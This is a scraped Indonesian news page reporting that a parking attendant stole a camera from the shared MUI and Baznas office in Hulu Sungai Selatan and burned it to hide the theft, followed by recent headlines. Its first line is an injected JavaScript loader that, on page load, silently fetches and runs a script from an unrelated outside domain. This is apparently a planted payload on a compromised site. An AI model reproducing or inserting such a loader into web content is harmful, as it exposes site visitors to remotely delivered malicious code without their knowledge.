(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Terungkap, Ini Motif AA Bakar Kantor MUI dan Baznas HSS


KANDANGAN, Dalang pembakaran Kantor MUI Hulu Sungai Selatan (HSS) dan Badan Amil Zakat Nasional (Baznas) HSS akhirnya terungkap. Peristiwas kebakaran di Jalan Pemuda Kecamatan Kandangan, HSS itu sebelumnya diduga akibat arus pendek listrik, yang terjadi pada Rabu (21/2) dini hari sekitar pukul 02.30 Wita. Selain kantor bersama itu, dua ruang kelas TK Pertiwi juga ikut terbakar. Sebelumnya diduga konsleting listrik oleh Polres Hulu Sungai Selatan

Akhirnya, terungkap sudah siapa pelaku pencurian sekaligus pembakaran Kantor MUI Kabupaten HSS yakni AA  (26) warga Gg Pulau Sepakat, Kelurahan Kandangan Kota, Kecamatan Kandangan, Kabupaten HSS. AA merupakan pelaku tunggal ditangkap Unit Jatanras Sat Reskrim Polres HSS Selasa (27/ 2) di kawasan parkir taman Palindangan Sehati Kabupaten HSS tanpa perlawanan.

Dalam rekontruksi yang digelar Rabu (7/3) pagi, dipimpin langsung oleh Kapolres HSS AKBP Rahmat Budi Handoko SIK, pelaku memperagakan sekitar 35 adegan.

“Kejadian ini murni tindak pidana, tidak ada unsur lain. Pelaku mencuri kamera dulu baru melakukan pembakaran terhadap kantor. Alasan pelaku membakar untuk menghilangkan jejak perbuatannya tersebut,” tutur Kapolres HSS AKBP Rahmat Budi Handoko SIK.

Menurut keterangan pelaku kepada petugas, awalnya AA hanya ingin mencuri di kantor MUI dan Baznas HSS. Namun karena panik dan ingin menghilangkan jejak, ia nekat melakukan aksi pembakaran.

Kapolres HSS menambahkan, pelaku awalnya memang hanya ingin mencuri. Namun ternyata pelaku ingin menghilangkan jejak. Pihaknya menegaskan bahwa tujuan utama pelaku adalah melakukan pencurian. Selain itu pihak Polres HSS menegaskan rumor atau isu bahwa MUI dibakar orang yang tidak dikenal dan ada unsur SARA tidak benar.

Akibat perbuatannya AA terancam melanggar pasal 363 KUHP dengan ancaman 7 tahun penjara dan Pasal 187 KUHP dengan ancaman 12 tahun penjara. Pelaku yang sehari-hari bekerja sebagai tukang parkir tersebut sekarang mendekam di Rutan Polres HSS guna mempertanggungjawabkan perbuatannya. (ammar)

Reporter: Ammar
Editor: Abi Zharrin Al Ghifari

Desy Arfianty

Recent Posts

Perebutan Gelar Bergengsi Supercopa de España, RCTI Siap Menyajikan Drama Sepak Bola Spanyol!

KANALKALIMANTAN.COM - Supercopa de España atau dikenal juga sebagai Piala Super Spanyol kembali hadir untuk… Read More

1 jam ago

Bupati HST Terpilih Siap Berdayakan Anggota Komcad

KANALKALIMANTAN.COM, BARABAI – Meski belum dilantik, Bupati Hulu Sungai Tengah (HST) terpilih, Samsul Rizal berjanji… Read More

2 jam ago

Sekda Kalsel ‘Dicari’ OKP, Dituduh Arogan Potong Dana Hibah

KANALKALIMANTAN.COM, BANJARBARU - Puluhan orang mengatasnamakan diri dari Organisasi Kemasyarakatan Pemuda (OKP) Kalimantan Selatan (Kalsel)… Read More

2 jam ago

Perindo Kalsel: Sukseskan Pelantikan Kepala Daerah Terpilih

KANALKALIMANTAN.COM, BANJARMASIN – Partai Persatuan Indonesia (Perindo) Kalimantan Selatan (Kalsel) mengajak seluruh pihak untuk menyukseskan… Read More

2 jam ago

Diskon Listrik 50% Januari-Februari Mulai Berlaku, Beli Token Bisa Sepanjang Bulan

KANALKALIMANTAN.COM, JAKARTA - PT PLN (Persero) memastikan paket stimulus ekonomi berupa potongan tarif listrik 50%… Read More

3 jam ago

Besok Putusan Sela Perkara Korupsi Dinas PUPR Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Perkara kasus gratifikasi proyek Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi… Read More

5 jam ago

This website uses cookies.